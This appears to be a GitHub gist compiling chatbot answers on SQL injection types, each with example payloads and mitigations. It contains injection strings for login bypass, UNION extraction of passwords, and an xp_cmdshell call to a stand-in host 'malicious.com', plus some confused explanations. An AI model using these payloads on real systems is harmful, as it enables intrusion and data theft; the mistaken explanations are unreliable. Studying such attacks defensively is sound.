Skip to content

Instantly share code, notes, and snippets.

@githubfoam
Last active January 11, 2024 07:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save githubfoam/7f54d367eb8246780267adb2fa8462bf to your computer and use it in GitHub Desktop.
Save githubfoam/7f54d367eb8246780267adb2fa8462bf to your computer and use it in GitHub Desktop.
SQL injection cheat sheet
------------------------------------------------------------------------------------------
#ChatGPT
SQL injection is a type of security vulnerability that occurs when an attacker is able to manipulate an application's SQL query by injecting malicious SQL code. The vulnerability arises when user input is not properly validated or sanitized before being used in SQL queries. This can lead to unauthorized access, manipulation of data, and potential exposure of sensitive information stored in a database.
Here's a more detailed explanation:
Input Handling: Many web applications take user input through forms, search boxes, or other input mechanisms. This input is often used to construct SQL queries that interact with a database.
Improper Validation: If the application does not properly validate or sanitize user input, an attacker can craft input in a way that manipulates the SQL query being executed.
Injection of Malicious SQL Code: The attacker inserts specially crafted SQL code into the input fields. This code is designed to manipulate the original SQL query and execute unauthorized actions on the database.
Exploitation: When the application concatenates user input directly into SQL queries without proper validation, the injected SQL code becomes part of the query that is sent to the database. This can lead to a variety of malicious activities, such as bypassing authentication, retrieving, modifying, or deleting data, and even potentially taking control of the entire database.
Example: Consider a login form that constructs a query like this:
SQL
Copy code
SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password';
An attacker might input the following as the username:
SQL
Copy code
' OR '1'='1'; --
The modified query would then become:
SQL
Copy code
SELECT * FROM users WHERE username = '' OR '1'='1'; --' AND password = 'input_password';
The condition '1'='1' is always true, allowing the attacker to bypass the login and potentially gain unauthorized access.
To prevent SQL injection, developers should use parameterized queries or prepared statements, which ensure that user input is treated as data, not as executable code. Additionally, input validation and proper user authentication mechanisms are crucial to mitigate the risk of SQL injection attacks. Regular security audits and keeping software up-to-date are also essential in preventing such vulnerabilities.
------------------------------------------------------------------------------------------
#Bard
What is SQL injection?
SQL injection is a type of cyber attack that targets databases through malicious SQL code injection into input fields of web applications.
It occurs when an attacker inserts or "injects" SQL commands into input fields, such as login forms or search boxes, to manipulate
the backend SQL database.
The goal of SQL injection attacks is to trick the application's database into executing unintended SQL commands.
This could include reading sensitive data, modifying or deleting data, bypassing authentication, or even taking control of
the entire database.
By exploiting vulnerabilities in poorly sanitized input fields or improperly constructed SQL queries, attackers can bypass
application security measures and execute their own SQL commands within the database, causing data breaches or system compromise.
Preventing SQL injection involves using parameterized queries, input validation, and sanitization techniques to ensure that user
input is handled securely and doesn't execute as SQL commands.
SQL injection is a type of cyber attack that exploits vulnerabilities in applications that use Structured Query Language (SQL)
to communicate with databases. By injecting malicious SQL code into user input fields, attackers can manipulate the database
queries executed by the application, potentially leading to:
Data theft: Stealing sensitive information like usernames, passwords, financial data, or customer records.
Data manipulation: Modifying, deleting, or adding data in the database.
System takeover: Gaining unauthorized access to the database server or even the entire system.
How it works:
Imagine a website that allows users to log in using a username and password. The login form might submit the user's input
to the database using an SQL query like this:
SQL
SELECT * FROM users WHERE username = '$username' AND password = '$password';
Use code with caution. Learn more
Here, $username and $password are replaced with the values entered by the user. Now, if an attacker enters a username like this:
admin'--
They are essentially injecting the comment (--) after the username, which tells the SQL parser to ignore everything that follows.
This bypasses the password check and allows the attacker to log in as the "admin" user.
Here's an analogy to illustrate:
Think of the SQL query as a recipe for the database to follow. By injecting malicious ingredients (the attack code),
the attacker can manipulate the resulting dish (the database operation) to their advantage.
Types of SQL injection:
Blind SQL injection: Attacker uses the response of the application to infer information about the database, even if the injected code
doesn't produce a visible effect.
Union-based SQL injection: Attacker injects a UNION statement to combine the attacker's controlled data with the results of the
legitimate query.
Error-based SQL injection: Attacker uses specific error messages to extract information about the database schema or structure.
Prevention strategies:
Input validation: Sanitize user input to remove any potentially malicious characters before including them in SQL queries.
Prepared statements: Use parameterized queries that separate user input from the SQL code, making it harder to inject malicious code.
Database access control: Restrict access to the database only to authorized users and applications.
Regular updates: Keep your software and databases updated to patch any known vulnerabilities.
Remember, SQL injection is a serious threat that can have devastating consequences for individuals and organizations. By understanding
how it works and taking appropriate precautions, you can help protect yourself from these attacks.
------------------------------------------------------------------------------------------
Union-Based SQL Injection:
Description: Attackers leverage the UNION operator to combine their malicious query with the legitimate application query, extracting data from other tables or manipulating results.
Example: An attacker injects "UNION ALL SELECT username, password FROM users". The application query might retrieve product details, but theUNION` clause adds additional rows containing all usernames and passwords from the "users" table.
Mitigation:
Use parameterized queries with limited columns: restrict which columns user input can affect.
Validate user input for whitelisted values: only allow specific characters or formats relevant to the query.
Filter and sanitize user input: remove characters like ', -, or , that might be used to construct UNION statements.
------------------------------------------------------------------------------------------
Error-Based SQL Injection:
Description: Attackers inject code that deliberately triggers specific error messages from the database, revealing details about its structure or version.
Example: An attacker injects "1' AND LENGTH(username)=0--". If the error mentions "column username", it reveals its existence. By probing with different lengths and functions, they can gather information about the database schema and potentially exploit vulnerabilities.
Mitigation:
Handle errors securely: Don't directly display detailed database error messages to users.
Use generic error messages: Avoid revealing specific information about the underlying database or query structure.
Log suspicious database interactions: Monitor for unusual queries or error patterns that might indicate injection attempts.
------------------------------------------------------------------------------------------
SQL Injection (SQLi):
Description: Attackers insert malicious SQL code into input fields or URLs, exploiting vulnerabilities in the application's database
interaction.
Impact: Unauthorized access to sensitive data, database manipulation, data leakage.
------------------------------------------------------------------------------------------
SQL Injection:
Attackers insert malicious SQL queries into input fields on a website. If the site is vulnerable,
this can lead to unauthorized access or data leakage from the backend database.
------------------------------------------------------------------------------------------
Blind SQL Injection
Blind SQL injection is a type of SQL injection attack in which the attacker does not have direct access to the results of
the injected SQL query. This can make it more difficult to identify and exploit the vulnerability.
Example:
An attacker injects a SQL query into a website that attempts to retrieve the contents of the website's database. The attacker cannot
see the results of the query, but they can infer them by observing the website's behavior.
Blind SQL Injection:
Description: Attackers inject SQL queries into a web application's input fields to retrieve sensitive information indirectly
without seeing the database responses.
Example: An attacker uses SQL injection to execute queries that reveal information, such as passwords or user data,
without receiving the actual database output.
------------------------------------------------------------------------------------------
Blind SQL Injection (Time-Based):
Example:
SQL
Copy code
SELECT * FROM users WHERE username = '[user_input]' AND SLEEP(5);
An attacker may input ' OR IF(1=1, SLEEP(5), 0); --, causing a delay if the condition is true.
Mitigation/Prevention:
Minimize exposure of detailed error messages to users.
Implement proper input validation.
Use parameterized queries.
------------------------------------------------------------------------------------------
Classic (Blind) SQL Injection:
Description: Attackers rely on observing the application's response to injected code to infer information about the database, even without seeing the actual results.
Example: An attacker injects "1 OR 1=1'" in a login form. If the login fails (indicating false), it means a column named "1" exists. By testing various conditions, they can gradually map the database schema and potentially extract sensitive data.
Mitigation:
Prepared Statements: Pre-compile queries with placeholders for user input, preventing code injection.
Input Validation: Sanitize user input to remove harmful characters and keywords like "OR".
Output Encoding: Escape special characters in database outputs to prevent unintended interpretation.
------------------------------------------------------------------------------------------
Classic SQL Injection:
Example:
SQL
Copy code
SELECT * FROM users WHERE username = '[user_input]' AND password = '[user_input]';
An attacker may input ' OR '1'='1'; -- as the username, making the query always true and potentially gaining unauthorized access.
Mitigation/Prevention:
Use parameterized queries or prepared statements.
Input validation: Validate and sanitize user input to ensure it adheres to expected formats.
------------------------------------------------------------------------------------------
Numeric SQL Injection
Numeric SQL injection is a type of SQL injection attack in which the attacker injects numeric values into the SQL query.
This can be used to bypass certain security measures that are designed to protect against SQL injection attacks.
Example:
An attacker injects a numeric value into a SQL query that attempts to retrieve the contents of a user's table in the website's database.
By carefully crafting the value, the attacker can bypass certain security measures and retrieve the user's data.
Numeric and String SQL Injection:
Description: Variants of SQL injection where attackers inject malicious SQL code using numeric or string-based inputs.
Example: Numeric SQL injection occurs when an attacker manipulates a numeric input field to perform unauthorized database operations.
String SQL injection involves manipulating string inputs to achieve similar malicious objectives.
------------------------------------------------------------------------------------------
Union-Based SQL Injection:
Example:
SQL
Copy code
SELECT username, email FROM users WHERE username = '[user_input]'
UNION ALL
SELECT username, password FROM admin_users;
If the input is manipulated to ' UNION ALL SELECT NULL, NULL, NULL, username, password FROM admin_users; --, the attacker may retrieve data from the admin_users table.
Mitigation/Prevention:
Avoid dynamic SQL construction if possible.
Validate and sanitize input.
Limit the privileges of database accounts used by the application.
------------------------------------------------------------------------------------------
Out-of-Band SQL Injection:
Example:
SQL
Copy code
SELECT * FROM users WHERE username = '[user_input]';
An attacker may input '; EXEC xp_cmdshell('nslookup malicious.com'); --, triggering an out-of-band communication.
Mitigation/Prevention:
Disable or limit the functionality of potentially dangerous SQL Server functionalities (e.g., xp_cmdshell).
Use parameterized queries.
Regularly update and patch the database system
------------------------------------------------------------------------------------------
Out-of-Band (OOB) SQL Injection is a type of SQL injection attack where the attacker is able to retrieve data from the database or interact with the system through a different channel than the one used for the original injection. This means that the attacker doesn't directly receive the results of the injected query but instead finds a way to communicate with an external system controlled by the attacker.
Example:
Consider a vulnerable SQL query:
sql
Copy code
SELECT * FROM users WHERE username = '[user_input]';
An attacker might inject the following input:
sql
Copy code
'; EXEC xp_cmdshell('nslookup malicious.com'); --
In this example, the xp_cmdshell command is used to execute an operating system command (nslookup malicious.com) on the database server. The results of this command are then sent to the attacker-controlled server.
Mitigation/Prevention:
Parameterized Queries or Prepared Statements:
Always use parameterized queries or prepared statements to handle user input. These methods ensure that user input is treated as data, not executable code.
Input Validation:
Implement thorough input validation to ensure that user input adheres to expected formats. Reject any input that doesn't meet validation criteria.
Least Privilege Principle:
Limit the privileges of database accounts used by the application. Ensure that the application's database user has the minimum necessary permissions.
Firewall Configuration:
Configure firewalls to restrict outbound connections from the database server. This can help prevent attackers from sending data to external systems.
Disable Unsafe Functions:
Disable or limit the functionality of potentially dangerous SQL Server functionalities (e.g., xp_cmdshell). This reduces the attack surface and limits the potential impact of SQL injection attacks.
Regular Updates and Patching:
Keep the database system and related software up-to-date with the latest security patches. Vulnerabilities are often patched in newer versions.
Logging and Monitoring:
Implement thorough logging and monitoring mechanisms to detect unusual or suspicious activities. Monitor database logs for unusual queries or patterns.
Network Segmentation:
Segment the network to isolate the database server from other critical infrastructure. This can help contain the impact of a successful OOB SQL injection attack.
By implementing these mitigation and prevention methods, developers and system administrators can significantly reduce the risk of Out-of-Band SQL Injection attacks. Regular security audits and testing for common vulnerabilities are also essential to identify and address any potential weaknesses in the application's security.
------------------------------------------------------------------------------------------
Out-of-Band SQL injection (OOB SQLi) is a stealthy variant of SQL injection that allows attackers to exfiltrate data or perform actions outside the application's usual output channel. This makes it more challenging to detect than traditional SQL injection attacks that rely on manipulating data within the application's response.
How OOB SQLi Works:
Injecting Code: Similar to other SQL injection attacks, the attacker injects malicious code into user input.
Triggering Data Exfiltration: The injected code interacts with the database in a way that triggers an out-of-band communication channel, like:
DNS lookups: The code crafts a query that forces the database server to perform an external DNS lookup on a domain controlled by the attacker, revealing sensitive information encoded in the subdomain.
External file access: The code manipulates the database to attempt reading or writing files on a server controlled by the attacker, transferring data or potentially executing malicious commands.
Error messages: The code triggers specific error messages that contain encoded data sent back to the attacker through the application's error reporting system.
Examples of OOB SQLi:
Exfiltrating user emails: An attacker injects code that forces the database to send an email with sensitive information like usernames or passwords to a predefined address.
Downloading malware: The attacker injects code that manipulates the database to download and execute malware on the server, potentially compromising the entire system.
Taking over accounts: The attacker crafts queries that modify database entries or manipulate user sessions, enabling them to hijack accounts.
Mitigation and Prevention Strategies:
Prepared Statements: Use prepared statements with parameterization to prevent code injection and ensure data separation.
Input Validation: Sanitize user input thoroughly to remove potential code or characters that might trigger OOB communication channels.
Database Server Security: Harden database server configuration to restrict external connections and file access.
Monitor DNS Lookups and External Activity: Track unusual DNS lookups or file access attempts from the database server to detect OOB communication attempts.
Penetration Testing: Regularly conduct penetration testing to identify and address vulnerabilities that might be exploited for OOB SQLi attacks.
Remember: OOB SQLi is a sophisticated attack technique that requires advanced understanding of SQL and database internals. However, by implementing robust security measures and following best practices, you can significantly reduce the risk of your applications falling victim to this type of attack.
By staying vigilant and proactive in your security efforts, you can ensure your databases remain secure and your users' data is protected from unauthorized access and exfiltration.
------------------------------------------------------------------------------------------
Second-Order SQL Injection:
Example:
SQL
Copy code
INSERT INTO messages (user_id, message) VALUES ('[user_id]', '[user_message]');
If the user_id is stored for later use and concatenated in a different query, an attacker may inject malicious input into the second query.
Mitigation/Prevention:
Treat all user input as potentially malicious, even if it has been sanitized before.
Use parameterized queries consistently.
------------------------------------------------------------------------------------------
Boolean-Based Blind SQL Injection:
Example:
SQL
Copy code
SELECT * FROM users WHERE username = '[user_input]' AND LENGTH(username) > 5;
An attacker may input ' OR LENGTH(username) > 0; --, exploiting the condition to infer information.
Mitigation/Prevention:
Validate and sanitize input.
Use parameterized queries.
Employ secure coding practices
------------------------------------------------------------------------------------------
Error-Based SQL Injection:
Example:
SQL
Copy code
SELECT * FROM users WHERE username = '[user_input]' AND 1/0;
An attacker may input ' OR 1=1; --, causing a division by zero error and revealing information about the database structure.
Mitigation/Prevention:
Turn off detailed error messages in production.
Validate and sanitize input.
Use parameterized queries.
------------------------------------------------------------------------------------------
String SQL Injection
String SQL injection is a type of SQL injection attack in which the attacker injects string values into the SQL query.
This can be used to bypass certain security measures that are designed to protect against SQL injection attacks.
Example:
An attacker injects a string value into a SQL query that attempts to retrieve the contents of a user's table in the website's database.
By carefully crafting the value, the attacker can bypass certain security measures and retrieve the user's data.
------------------------------------------------------------------------------------------
Imagine you run an online business and customers and partners log onto your site to buy products and services. A typical login
page asks for a user ID and password. An individual, let’s call him John Smith, types his user ID—jsmith—and his password. This information is verified on a backend database. If the
password is true, John Smith gets in, but if the password is false, he does not.
Now, a bad actor probably doesn’t know John’s password. He could always guess, but that
might take a very long time. Instead, for the password, the bad actor types “abc123 or 2+2=4”.
When John’s credentials are sent back to the database for verification, it is likely that the
password “abc123” is false; however, the expression 2+2=4 is true. Due to this flaw, the bad
actor was able to break in to some sites
https://training.fortinet.com/pluginfile.php/1625623/mod_scorm/content/1/story_content/external_files/NSE%202_WAF%20Script_EN.pdf
------------------------------------------------------------------------------------------
#ChatGPT
Explain why password “abc123” is false; however, the expression 2+2=4 is true during a sql injection attack.
During a SQL injection attack, an attacker attempts to exploit vulnerabilities in a web application to inject malicious SQL code into the application's database. This can allow the attacker to access or manipulate sensitive data stored in the database.
The password "abc123" being false or true is not relevant in the context of a SQL injection attack. This is because the attacker is not attempting to guess a user's password, but rather to manipulate the application's SQL queries to gain unauthorized access to the database.
On the other hand, the expression "2+2=4" can be used in a SQL injection attack to test whether a particular SQL query is vulnerable to injection. The attacker might include the expression "2+2=4" in a specially crafted input field to see if it is executed as expected by the database. If it is, the attacker knows that they can inject additional SQL code into the query and have it executed as well.
In summary, the validity of the password "abc123" is not relevant to a SQL injection attack, whereas the expression "2+2=4" can be used to test for SQL injection vulnerabilities.
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment